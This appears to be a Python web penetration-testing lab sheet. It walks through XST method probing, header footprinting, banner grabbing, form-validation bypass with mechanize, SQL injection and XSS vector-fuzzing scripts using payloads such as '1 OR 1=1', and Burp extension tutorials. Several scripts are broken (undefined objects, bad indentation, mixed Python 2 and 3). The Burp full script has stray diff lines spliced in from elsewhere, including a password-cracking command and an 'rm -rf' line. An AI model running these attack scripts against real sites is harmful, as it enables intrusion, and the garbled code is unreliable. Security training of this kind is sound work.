 method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
 for method in method_list:
    req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
    print (method, req.status_code, req.reason)
 if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
    print ('Cross Site Tracing(XST) is possible')
 
 -------------------------------------------------------------------------
 
 
 After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross  site  tracing  (XST), we  will  get 405  Not  Allowed responses  from  the  web  server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
 
 
 ---------------------------Type This-----------------------------------
 python3 xst.py
 -----------------------------------------------------------------------
 
 ##########################################
 # Foot printing by checking HTTP headers #
 ##########################################
 
 
 HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
 
 To begin with, let us import the requests library:
 
 ------------------------
 import requests
 ------------------------
 
 We need to send a  GET request to the web  server. The following line  of code makes a simple GET request through the requests library.
 
 ---------------------------------------------
 request = requests.get('enter the URL')
 ---------------------------------------------
 
 Next, we will generate a list of headers about which you need the information.
 
 ---------------------------------------------------------------------------------------------------------------
 header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
 ---------------------------------------------------------------------------------------------------------------
 
 Next is a try and except block.
 
 ---------------------------------------------------
 for header in header_list:
 
    try:
       result = request.headers[header]
       print ('%s: %s' % (header, result))
    except Exception as err:
          print ('%s: No Details Found' % header)
 
 ---------------------------------------------------
 
 
 
 
 *** Example Full Code: ***
 
 ---------------------------Type This-----------------------------------
 nano headercheck.py
 
 
 ---------------------------Paste This----------------------------------
 #!/usr/bin/env python3
 import requests
 request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
 header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
 for header in header_list:
       try:
          result = request.headers[header]
          print ('%s: %s' % (header, result))
       except Exception as err:
                print ('%s: No Details Found' % header)
 ----------------------------------------------------------------------------------------------------------------
 
 
 After running the above script for a particular web server, we will get the information about the  headers  provided  in  the  header  list.  If  there  will  be  no  information  for  a  particular header then it will give the message ‘No Details Found’.
 
 
 ---------------------------Type This-----------------------------------
 python3 headercheck.py
 -----------------------------------------------------------------------
 
 
 ##############################################
 # Testing insecure web server configurations #
 ##############################################
 
 We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
 ---------------------------Type This-----------------------------------
 nano websites.txt
 
 ---------------------------Paste This----------------------------------
 https://www.google.com
 https://www.cnn.com
 https://foxnews.com
 -----------------------------------------------------------------------
 
 
 
 
 ---------------------------Type This-----------------------------------
 nano insecure_config_check.py
 
 
 ---------------------------Paste This----------------------------------
 #!/usr/bin/eve python3
 import requests
 urls = open("websites.txt", "r")
 for url in urls:
    url = url.strip()
    req = requests.get(url)
    print (url, 'report:')
    try:
       protection_xss = req.headers['X-XSS-Protection']
       if protection_xss != '1; mode=block':
          print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
    except:
       print ('X-XSS-Protection not set, it may be possible')
    try:
       options_content_type = req.headers['X-Content-Type-Options']
       if options_content_type != 'nosniff':
          print ('X-Content-Type-Options not set properly:', options_content_type)
    except:
       print ('X-Content-Type-Options not set')
    try:
       transport_security = req.headers['Strict-Transport-Security']
    except:
       print ('HSTS header not set properly, Man in the middle attacks is possible')
    try:
       content_security = req.headers['Content-Security-Policy']
       print ('Content-Security-Policy set:', content_security)
    except:
       print ('Content-Security-Policy missing')
 
 -----------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 python3 insecure_config_check.py
 -----------------------------------------------------------------------
 
 
 #####################################
 # Footprinting of a Web Application #
 #####################################
 
 Methods for Footprinting of a Web Application
 
 
 Gathering information using parser BeautifulSoup
 
 
 Suppose we want to collect all the hyperlinks from  a  web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself.
 
 To  begin  with,  let  us import  the  necessary  packages. We  will  import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it.
 
 --------------------------------------
 apt-get install python3-bs4             <-- This is already installed. You don't have to do this step
 --------------------------------------
 
 ---------------------------Type This-----------------------------------
 $ python3
 import urllib
 from bs4 import BeautifulSoup
 -----------------------------------------------------------------------
 
 The Python script given below will gather the title of web page andhyperlinks:
 
 Now,  we  need  a variable,  which can  store  the  URL  of  the  website.  Here, we  will  use  avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page.
 
 
 ---------------------------Type This-----------------------------------
 from urllib.request import urlopen
 
 url = 'http://www.python.org'
 file = urlopen(url)
 html_page = file.read()
 -----------------------------------------------------------------------
 
 The html_page will be assigned as an input to create soup object.
 
 ---------------------------Type This-----------------------------------
 soup_object = BeautifulSoup(html_page)
 -----------------------------------------------------------------------
 
 Following two lines will print the title name with tags and without tags respectively.
 
 ---------------------------Type This-----------------------------------
 print(soup_object.title)
 print(soup_object.title.text)
 -----------------------------------------------------------------------
 
 The line of code shown below will save all the hyperlinks.
 
 ---------------------------Type This-----------------------------------
 for link in soup_object.find_all('a'):
    print(link.get('href'))
 -----------------------------------------------------------------------
 
 
 
 
 *** Full example code: ***
 
 ---------------------------Type This-----------------------------------
 
 import urllib
 
 from bs4 import BeautifulSoup
 
 from urllib.request import urlopen
 
 url = 'http://www.python.org'
 file = urlopen(url)
 html_page = file.read()
 print(html_page)
 
 soup_object= BeautifulSoup(html_page)
 
 
 print(soup_object.title)
 print(soup_object.title.text)
 
 
 for link in soup_object.find_all('a'):
    print(link.get('href'))
 
 -----------------------------------------------------------------------
 
 
 ###################
 # Banner grabbing #
 ###################
 
 
 The following Python script helps grab the banner using socket programming:
 
 ------------------------------------------------------------------------------
 import socket
 
 s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800))
 
 host = input("Enter the host name: ")
 port = int(input("Enter Port: "))
 
 
 # host = '192.168.1.54'
 # port = 22
 
 s.connect((host, port))
 
 try:
     s.send(b'GET HTTP/1.1 \r\n')
     ret = s.recv(1024)
     print('[+]{}'.format(ret))
 except Exception as e:
     print('[-] Not information grabbed: {}'.format(e))
 -------------------------------------------------------------------------------
 
 After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section.
 
 
 ###################################################
 # Server-side Validation & Client-side Validation #
 ###################################################
 
 
 #######################################
 # Python Module for Validation Bypass #
 #######################################
 
 
 The Python module that we are going to useis mechanize. Itis a Python web browser, whichis  providing  the  facility  of  obtaining  web  forms  in  a  web  page  and  facilitates  the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command:
 
 ---------------------------------
 pip3 install mechanize              <-- This is already installed. You don't have to do this step
 ---------------------------------
 
 
 
 Following is a Python script, which uses mechanize to bypass the validation of a web form using  POST  method  to  pass  the  parameter.  The  web  form  can  be  taken  from  the  link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice.
 
 To begin with, let us import the mechanize browser:
 
 
 ----------------------
 import mechanize
 ----------------------
 
 Now, we will create an object named brwsr of the mechanize browser:
 
 -----------------------------
 brwsr = mechanize.Browser()
 -----------------------------
 
 The next line of code shows that the user agent is not a robot
 
 --------------------------------
 brwsr.set_handle_robots( False )
 --------------------------------
 
 Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation.
 
 -----------------------------
 url = input("Enter URL ")
 -----------------------------
 
 Now, following lines will set some parenters to true.
 
 -----------------------------------
 brwsr.set_handle_equiv(True)
 brwsr.set_handle_gzip(True)
 brwsr.set_handle_redirect(True)
 brwsr.set_handle_referer(True)
 ----------------------------------
 
 
 Next it will open the web page and print the web form on that page.
 
 -----------------------------
 brwsr.open(url)
 for form in brwsr.forms():
    print(form)
 -----------------------------
 
 Next line of codes will bypass the validations on the given fields.
 
 ------------------------------------
 brwsr.select_form(nr=0)
 brwsr.form['name'] = ''
 brwsr.form['gender'] = ''
 brwsr.submit()
 ------------------------------------
 
 The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation.
 
 
 ################################################
 # Python Penetration Testing — SQLi Web Attack #
 ################################################
 
 
 
 The attack can be categorize into the following two types:
 
 - In-band SQL injection (Simple SQLi)
 - Inferential SQL injection (Blind SQLi)
 
 
 All types of SQLi can be implemented by manipulating input data to the application. In the following  examples,  we  are  writing  a  Python  script  to  inject  attack  vectors  to  the application  and  analyze  the  output  to  verify  the  possibility  of  the  attack.  Here,  we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation.
 
 
 The  following Python  script helps submit  forms  and analyze the  response  using mechanize:
 
 
 First of all we need to import the mechanize module.
 
 -----------------------
 import mechanize
 -----------------------
 
 Now, provide the name of the URL for obtaining the response after submitting the form.
 
 -------------------------------------
 url = input("Enter the full url")
 -------------------------------------
 
 The following line of codes will open the url.
 
 -----------------------------------
 request = mechanize.Browser()
 request.open(url)
 -----------------------------------
 
 Now, we need to select the form.
 
 ---------------------------------
 request.select_form(nr=0)
 ---------------------------------
 
 Here,we will setthe column name ‘id’.
 
 ---------------------------------
 request["id"] = "1 OR 1=1"
 ---------------------------------
 
 Now, we need to submit the form
 
 ---------------------------------
 response = request.submit()
 content = response.read()
 print(content)
 --------------------------------
 
 The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file.
 
 To begin with, let us import the mechanize module.
 
 ---------------------------
 import mechanize
 ---------------------------
 
 Now, provide the name of the URL for obtaining the response after submitting the form.
 
 ---------------------------------
 url = input("Enter the full url")
    attack_no = 1
 ---------------------------------
 
 
 We need to read the attack vectors from the file
 
 -------------------------------------
 with open ('vectors.txt') as v:
 -------------------------------------
 
 Now we will send request with each arrack vector
 
 -------------------------------
 for line in v:
    browser.open(url)
 browser.select_form(nr=0)
    browser["id"] = line
    res = browser.submit()
 content = res.read()
 ------------------------------
 
 
 Now, the following line of code will write the response to the output file.
 
 -----------------------------------------------------
 output = open('response/'+str(attack_no)+'.txt','w')
 output.write(content)
 output.close()
 print attack_no
 attack_no += 1
 -----------------------------------------------------
 
 
 By  checking  and  analyzing  the  responses, we  can  identify  the  possible  attacks. For example,if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection.
 
 
 ###############################################
 # Python Penetration Testing — XSS Web Attack #
 ###############################################
 
 
 Types of XSS Attack
 
 
 The  attack can  be classified into the following major categories:
 
 -Persistent or stored XSS
 -Non-persistent or reflected XSS
 
 
 
 Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize:
 
 To begin with, let us import the mechanize module.
 
 ------------------------
 import mechanize
 -----------------------
 
 
 Now, provide the name of the URL for obtaining the response after submitting the form.
 
 ----------------------------------
 url = input("Enter the full url")
    attack_no = 1
 ----------------------------------
 
 We need to read the attack vectors from the file.
 
 ---------------------------------------
 with open ('vectors_XSS.txt') as x:
 --------------------------------------
 
 Now we will send request with each arrack vector
 
 -------------------------
 for line in x:
    browser.open(url)
 browser.select_form(nr=0)
    browser["id"] = line
    res = browser.submit()
 content = res.read()
 
 ------------------------
 
 The following line of code will check the printed attack vector.
 
 -----------------------------
 if content.find(line) > 0:
    print("Possible XSS")
 
 -----------------------------
 
 The following line of code will write the response to output file.
 
 
 -----------------------------------------------------------
 output = open('response/'+str(attack_no)+'.txt','w')
 output.write(content)
 output.close()
 print attack_no
 attack_no += 1
 ----------------------------------------------------------
 
 
 *** Full example code: ***
 
 ------------------------------------------------------------------
 import mechanize
 
 url = input("Enter the full url")
 attack_no = 1
 
 with open ('vectors_XSS.txt') as x:
    for line in x:
       browser.open(url)
    browser.select_form(nr=0)
       browser["id"] = line
       res = browser.submit()
    content = res.read()
 
    if content.find(line) > 0:
       print("Possible XSS")
 
    output = open('response/'+str(attack_no)+'.txt','w')
    output.write(content)
    output.close()
    print attack_no
    attack_no += 1
 -----------------------------------------------------------------
 
 XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we  provided.  If  the  attack  vector  is  present  in  the  response  without  any escape or validation,there is a high possibility of XSS attack.
 
 
  ##################################
 # Burp Extension Python Tutorial #
 ##################################
 
 Reference link for this lab exercise:
 https://laconicwolf.com/2018/04/13/burp-extension-python-tutorial/
 
 
 
 - Initial setup
 
     Create a directory to store your extensions – I named mine burp-extensions
     Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the burp-extensions folder
     Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the burp-extensions folder – This will make debugging much easier
     Configure Burp to use Jython – Extender > Options > Python Environment > Select file…
 
 The IBurpExtender module is required for all extensions, while the IMessageEditorTab and IMessageEditorTabFactory will be used to display messages in Burp’s message tab. The base64 module will be used to decode the basic authorization header, and the FixBurpExceptions and sys modules will be used for debugging, which I’ll cover shortly.
 
 Hook into the Burp Extender API to access all of the base classes and useful methods
 
 -------------------------------------------------------------------------------------------------------------------------------------------
 class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
     ''' Implements IBurpExtender for hook into burp and inherit base classes.
      Implement IMessageEditorTabFactory to access createNewInstance.
     '''
     def registerExtenderCallbacks(self, callbacks):
 
         # required for debugger: https://github.com/securityMB/burp-exceptions
         sys.stdout = callbacks.getStdout()
 
         # keep a reference to our callbacks object
         self._callbacks = callbacks
 
         # obtain an extension helpers object
         # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
         self._helpers = callbacks.getHelpers()
 
         # set our extension name
         callbacks.setExtensionName("Decode Basic Auth")
 
         # register ourselves as a message editor tab factory
         callbacks.registerMessageEditorTabFactory(self)
 
         return
 
     def createNewInstance(self, controller, editable):
         ''' Allows us to create a tab in the http tabs. Returns
         an instance of a class that implements the iMessageEditorTab class
         '''
         return DisplayValues(self, controller, editable)
 -----------------------------------------------------------------------------------------------------------------------------------------------------
 
 This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the lines self._callbacks and self._helpers assign useful methods from other classes. The callbacks.setExtensionName gives the extension a name, and the callbacks.registerMessageEditorTabFactory is required to implement a new tab. The createNewInstance method is required to create a new HTTP tab. The controller parameter is an IMessageEditorController object, which the new tab can query to retrieve details about the currently displayed message. The editable parameter is a Boolean value that indicates whether the tab is editable or read-only.
 
 Now we can save the file, and load the extension into Burp, which will cause an error.
 
 Load the file: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file…
 
 
 Click Next, and it should produce an ugly error.
 
 
 - Implement nicer looking error messages
 
 To make the error messages readable, add the following to the code:
 
 In the registerExtenderCallbacks method:
 
 -----------------------------------------------------------------------------------------
     def registerExtenderCallbacks(self, callbacks):
 
         # required for debugger: https://github.com/securityMB/burp-exceptions
         sys.stdout = callbacks.getStdout()
 -----------------------------------------------------------------------------------------
 
 and at the end of the script:
 
 -----------------------------------------------------------------------------------------
     def createNewInstance(self, controller, editable):
         ''' Allows us to create a tab in the http tabs. Returns
         an instance of a class that implements the iMessageEditorTab class
         '''
         return DisplayValues(self, controller, editable)
 
 FixBurpExceptions()
 -----------------------------------------------------------------------------------------
 
 Now the errors should make more sense. To reload the extension, just click the loaded checkbox, unload the extension, and click again to load it.
 
 
 We'll get another error
 
 The error specifically mentions that with the createNewInstance method the global name DisplayValues is not defined. This error is of course expected since we have not yet created that class, which we will do now. At this point, your script should look like this:
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------
 
 # Decode the value of Authorization: Basic header
 # Author: Jake Miller (@LaconicWolf)
 
 from burp import IBurpExtender               # Required for all extensions
 from burp import IMessageEditorTab           # Used to create custom tabs within the Burp HTTP message editors
 from burp import IMessageEditorTabFactory    # Provides rendering or editing of HTTP messages, within within the created tab
 import base64                                # Required to decode Base64 encoded header value
 from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
 import sys                                   # Used to write exceptions for exceptions_fix.py debugging
 
 
 class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
     ''' Implements IBurpExtender for hook into burp and inherit base classes.
      Implement IMessageEditorTabFactory to access createNewInstance.
     '''
     def registerExtenderCallbacks(self, callbacks):
 
         # required for debugger: https://github.com/securityMB/burp-exceptions
         sys.stdout = callbacks.getStdout()
 
         # keep a reference to our callbacks object
         self._callbacks = callbacks
 
         # obtain an extension helpers object
         # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
         self._helpers = callbacks.getHelpers()
 
         # set our extension name
         callbacks.setExtensionName("Decode Basic Auth")
 
         # register ourselves as a message editor tab factory
         callbacks.registerMessageEditorTabFactory(self)
 
         return
 
     def createNewInstance(self, controller, editable):
         ''' Allows us to create a tab in the http tabs. Returns
         an instance of a class that implements the iMessageEditorTab class
         '''
         return DisplayValues(self, controller, editable)
 
 FixBurpExceptions()
 ---------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 - Create a message tab and access the HTTP headers
 
 The DisplayValues class uses Burp’s IMessageEditorTab to create the custom tab, and ultimately controls the logic for whether the tab gets displayed and its message. This class requires several methods to be implemented for it to work. Here is the code that will create a tab and display all of the request headers:
 
 ---------------------------------------------------------------------------------------------------------------------------------------------------------------
 class DisplayValues(IMessageEditorTab):
     ''' Creates a message tab, and controls the logic of which portion
     of the HTTP message is processed.
     '''
     def __init__(self, extender, controller, editable):
         ''' Extender is a instance of IBurpExtender class.
         Controller is a instance of the IMessageController class.
         Editable is boolean value which determines if the text editor is editable.
         '''
         self._txtInput = extender._callbacks.createTextEditor()
         self._extender = extender
 
     def getUiComponent(self):
         ''' Must be invoked before the editor displays the new HTTP message,
         so that the custom tab can indicate whether it should be enabled for
         that message.
         '''
         return self._txtInput.getComponent()
 
     def getTabCaption(self):
         ''' Returns the name of the custom tab
         '''
         return "Decoded Authorization Header"
 
     def isEnabled(self, content, isRequest):
         ''' Determines whether a tab shows up on an HTTP message
         '''
         if isRequest == True:
             requestInfo = self._extender._helpers.analyzeRequest(content)
             headers = requestInfo.getHeaders();
             headers = [header for header in headers]
             self._headers = '\n'.join(headers)
         return isRequest and self._headers
 
     def setMessage(self, content, isRequest):
         ''' Shows the message in the tab if not none
         '''
         if (content is None):
             self._txtInput.setText(None)
             self._txtInput.setEditable(False)
         else:
             self._txtInput.setText(self._headers)
         return
 --------------------------------------------------------------------------------------------------------------------------------------------------------------------
 If you are following along, paste this code after the BurpExtender class you just created, but be sure to make the FixBurpExceptions() the last line of the script. The comments explain the methods, so I’m only going to focus on the isEnabled and setMessage methods. For more info on this class, you can look at the IMessageEditorTab in the Burp Extender API.
 
 The isEnabled method accepts message contents and the isRequest parameter (which determines whether the message is a request or a response). If the message is a request, the extender helpers extract the request headers, which for the example purposes I assign to the headers variable via a list comprehension and then assign to self._headers as a string (this needs to be a string). I then return the isRequest and self._headers. In the setMessage method, the content will be received and displayed in a new tab. If you reload this extension and make a request, you should now have a new message tab that is displaying the request headers from the requests you make.
 
 Process the headers and populate the message tab
 
 Now that we have access to the headers, you can go ahead and process the headers as you see fit. In this example, we will look for the Authorization: Basic header, and decode it if it is present. We need to make a few changes to the isEnabled and setMessage methods.
 
 --------------------------------------------------------------------------------------------------------------------------------------
 isEnabled:
 
 
     def isEnabled(self, content, isRequest):
         ''' Determines whether a tab shows up on an HTTP message
         '''
         if isRequest == True:
             requestInfo = self._extender._helpers.analyzeRequest(content)
             headers = requestInfo.getHeaders();
             authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
             if authorizationHeader:
                 encHeaderValue = authorizationHeader[0].split()[-1]
                 try:
                     self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
                 except Exception as e:
                     print e
                     self._decodedAuthorizationHeader = ""
             else:
                  self._decodedAuthorizationHeader = ""
         return isRequest and self._decodedAuthorizationHeader
 
 ----------------------------------------------------------------------------------------------------------------------------------------
 The changes we are making looks for the header and decodes it. Otherwise it returns an empty string.
 
 ----------------------------------------------------------------------------------------------------------------------------------------
 setMessage:
 
 
     def setMessage(self, content, isRequest):
         ''' Shows the message in the tab if not none
         '''
         if (content is None):
             self._txtInput.setText(None)
             self._txtInput.setEditable(False)
         else:
             self._txtInput.setText(self._decodedAuthorizationHeader)
         return
 -----------------------------------------------------------------------------------------------------------------------------------------
 
 The only change made here is displaying the decoded authorization header (self._txtInput.setText(self._decodedAuthorizationHeader)).
 
 - Test run
 
 Once you reload the extension, you should have a functional extension which will display a new HTTP message tab if you visit a site requiring Basic Authentication. To test it out, header over to https://httpbin.org/basic-auth/user/passwd and enter in some fake credentials:
 
 ----------------
 user: test
 pass: test
 ----------------
 
 and in Burp request you will see under decoded authorization header  test:test
 
 Conclusion
 
 Hopefully this walkthrough was a helpful introduction to writing Burp extensions. Below is the full script. If you don’t understand how it works, I urge you to play around with it, putting in print statements in various places so you can experiment. You print statements will appear in the output subtab within the extender tab.
 
 Full script:
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 # Decode the value of Authorization: Basic header
 # Author: Jake Miller (@LaconicWolf)
 
 from burp import IBurpExtender               # Required for all extensions
 from burp import IMessageEditorTab           # Used to create custom tabs within the Burp HTTP message editors
 from burp import IMessageEditorTabFactory    # Provides rendering or editing of HTTP messages, within within the created tab
 import base64                                # Required to decode Base64 encoded header value
 from exceptions_fix import FixBurpExceptions # Used to make the error messages easier to debug
 import sys                                   # Used to write exceptions for exceptions_fix.py debugging
 
 
 class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
     ''' Implements IBurpExtender for hook into burp and inherit base classes.
      Implement IMessageEditorTabFactory to access createNewInstance.
     '''
     def registerExtenderCallbacks(self, callbacks):
 
         # required for debugger: https://github.com/securityMB/burp-exceptions
         sys.stdout = callbacks.getStdout()
 
         # keep a reference to our callbacks object
         self._callbacks = callbacks
 
         # obtain an extension helpers object
         # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
         self._helpers = callbacks.getHelpers()
 
         # set our extension name
         callbacks.setExtensionName("Decode Basic Auth")
 
         # register ourselves as a message editor tab factory
         callbacks.registerMessageEditorTabFactory(self)
 
         return
 
     def createNewInstance(self, controller, editable):
         ''' Allows us to create a tab in the http tabs. Returns
         an instance of a class that implements the iMessageEditorTab class
         '''
         return DisplayValues(self, controller, editable)
 
 FixBurpExceptions()
 
 
 class DisplayValues(IMessageEditorTab):
     ''' Creates a message tab, and controls the logic of which portion
     of the HTTP message is processed.
     '''
     def __init__(self, extender, controller, editable):
         ''' Extender is a instance of IBurpExtender class.
         Controller is a instance of the IMessageController class.
         Editable is boolean value which determines if the text editor is editable.
         '''
         self._txtInput = extender._callbacks.createTextEditor()
         self._extender = extender
 
     def getUiComponent(self):
         ''' Must be invoked before the editor displays the new HTTP message,
         so that the custom tab can indicate whether it should be enabled for
         that message.
         '''
         return self._txtInput.getComponent()
 
     def getTabCaption(self):
         ''' Returns the name of the custom tab
         '''
         return "Decoded Authorization Header"
 
     def isEnabled(self, content, isRequest):
         ''' Determines whether a tab shows up on an HTTP message
         '''
         if isRequest == True:
             requestInfo = self._extender._helpers.analyzeRequest(content)
             headers = requestInfo.getHeaders();
             authorizationHeader = [header for header in headers if header.find("Authorization: Basic") != -1]
             if authorizationHeader:
                 encHeaderValue = authorizationHeader[0].split()[-1]
                 try:
-python htcrack.py joe:7XsJIbCFzqg/o list.txt
+                    self._decodedAuthorizationHeader = base64.b64decode(encHeaderValue)
                 except Exception as e:
                     print e
                     self._decodedAuthorizationHeader = ""
             else:
                  self._decodedAuthorizationHeader = ""
         return isRequest and self._decodedAuthorizationHeader
-rm -rf mechanize-0.2.5.tar.gz
+
     def setMessage(self, content, isRequest):
         ''' Shows the message in the tab if not none
         '''
         if (content is None):
             self._txtInput.setText(None)
             self._txtInput.setEditable(False)
         else:
             self._txtInput.setText(self._decodedAuthorizationHeader)
         return
 ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 
 #######################################################
 # Burp Extension Python Tutorial – Encode/Decode/Hash #
 #######################################################
 
 
 Setup
 
     Create a folder where you’ll store your extensions – I named mine extensions
     Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
     Download exceptions_fix.py *https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
     Configure Burp to use Jython – Extender > Options > Python Environment > Select file
     Create a new file (encodeDecodeHash.py) in your favorite text editor (save it in your extensions folder)
 
 
 - Importing required modules and accessing the Extender API, and implementing the debugger
 
 Let’s write some code:
 
 --------------------------------------------------------
 from burp import IBurpExtender, ITab
 from javax import swing
 from java.awt import BorderLayout
 import sys
 try:
     from exceptions_fix import FixBurpExceptions
 except ImportError:
     pass
 --------------------------------------------------------
 
 
 The IBurpExtender module is required for all extensions, while ITab will register the tab in Burp and send Burp the UI that we will define. The swing library is what is used to build GUI applications with Jython, and we’ll be using layout management, specifically BorderLayout from the java.awt library. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine. I’ll be adding more imports when we start writing encoding method, but this is enough for now.
 
 This next code snippet will register our extension and create a new tab that will contain the UI. If you’re following along type or paste this code after the imports:
 
 -----------------------------------------------------------------------------------------------------------------
 class BurpExtender(IBurpExtender, ITab):
     def registerExtenderCallbacks(self, callbacks):
 
         # Required for easier debugging:
         # https://github.com/securityMB/burp-exceptions
         sys.stdout = callbacks.getStdout()
 
         # Keep a reference to our callbacks object
         self.callbacks = callbacks
 
         # Set our extension name
         self.callbacks.setExtensionName("Encode/Decode/Hash")
 
         # Create the tab
         self.tab = swing.JPanel(BorderLayout())
 
         # Add the custom tab to Burp's UI
         callbacks.addSuiteTab(self)
         return
 
     # Implement ITab
     def getTabCaption(self):
         """Return the text to be displayed on the tab"""
         return "Encode/Decode/Hash"
 
     def getUiComponent(self):
         """Passes the UI to burp"""
         return self.tab
 
 try:
     FixBurpExceptions()
 except:
     pass
 ------------------------------------------------------------------------------------------------
 
 This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to create the tab in Burp. ITab requires two methods, getTabCaption and getUiComponent, where getTabCaption returns the name of the tab, and getUiComponent returns the UI itself (self.tab), which is created in the line self.tab=swing.JPanel(). FixBurpExceptions is called at the end of the script just in case we have an error.
 
 
 Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > encodeDecodeHash.py
 
 The extension should load and you should have a new tab: Encode/Decode/Hash
 
 This tab doesn’t have any features yet, so let’s build the skeleton of the UI
 
 
 Onto the code:
 
 ----------------------------------------------------------------------------------------------
 class BurpExtender(IBurpExtender, ITab):
     ...
         self.tab = swing.Jpanel(BorderLayout())
 
         # Create the text area at the top of the tab
         textPanel = swing.JPanel()
 
         # Create the label for the text area
         boxVertical = swing.Box.createVerticalBox()
         boxHorizontal = swing.Box.createHorizontalBox()
         textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
         boxHorizontal.add(textLabel)
         boxVertical.add(boxHorizontal)
 
         # Create the text area itself
         boxHorizontal = swing.Box.createHorizontalBox()
         self.textArea = swing.JTextArea('', 6, 100)
         self.textArea.setLineWrap(True)
         boxHorizontal.add(self.textArea)
         boxVertical.add(boxHorizontal)
 
         # Add the text label and area to the text panel
         textPanel.add(boxVertical)
 
         # Add the text panel to the top of the main tab
         self.tab.add(textPanel, BorderLayout.NORTH)
 
         # Add the custom tab to Burp's UI
         callbacks.addSuiteTab(self)
         return
 ...
 -----------------------------------------------------------------------------------------
 
 A bit of explanation. The code (textPanel = swing.JPanel()) creates a new panel that will contain the text label and text area. Then, a box is created (boxVertical), that will be used to hold other boxes (boxHorizontal) that contain the text label and area. The horizontal boxes get added to the vertical box (boxVertical.add(boxHorizontal)), the vertical box is added to the panel we created (textPanel.add(boxVertical)), and that panel is added to the main tab panel at the top (BorderLayout.NORTH). Save the code, unload/reload the extension and this is what you should see: "Text to be encoded/decoded/hashed" field
 
 
 Now we’ll add the tabs:
 
 -----------------------------------------------------------------------------------------
         self.tab.add(textPanel, BorderLayout.NORTH)
 
         # Created a tabbed pane to go in the center of the
         # main tab, below the text area
         tabbedPane = swing.JTabbedPane()
         self.tab.add("Center", tabbedPane);
 
         # First tab
         firstTab = swing.JPanel()
         firstTab.layout = BorderLayout()
         tabbedPane.addTab("Encode", firstTab)
 
         # Second tab
         secondTab = swing.JPanel()
         secondTab.layout = BorderLayout()
         tabbedPane.addTab("Decode", secondTab)
 
         # Third tab
         thirdTab = swing.JPanel()
         thirdTab.layout = BorderLayout()
         tabbedPane.addTab("Hash", thirdTab)
 
         # Add the custom tab to Burp's UI
         callbacks.addSuiteTab(self)
         return
 ...
 --------------------------------------------------------------------------------------------------
 After you add this code and save the file, you should have your tabs
 
 
 we’re only going to build out the Encode tab, but the steps will be the same for each tab.
 
 ---------------------------------------------------------------------------------------------------
 
         # First tab
         firstTab = swing.JPanel()
         firstTab.layout = BorderLayout()
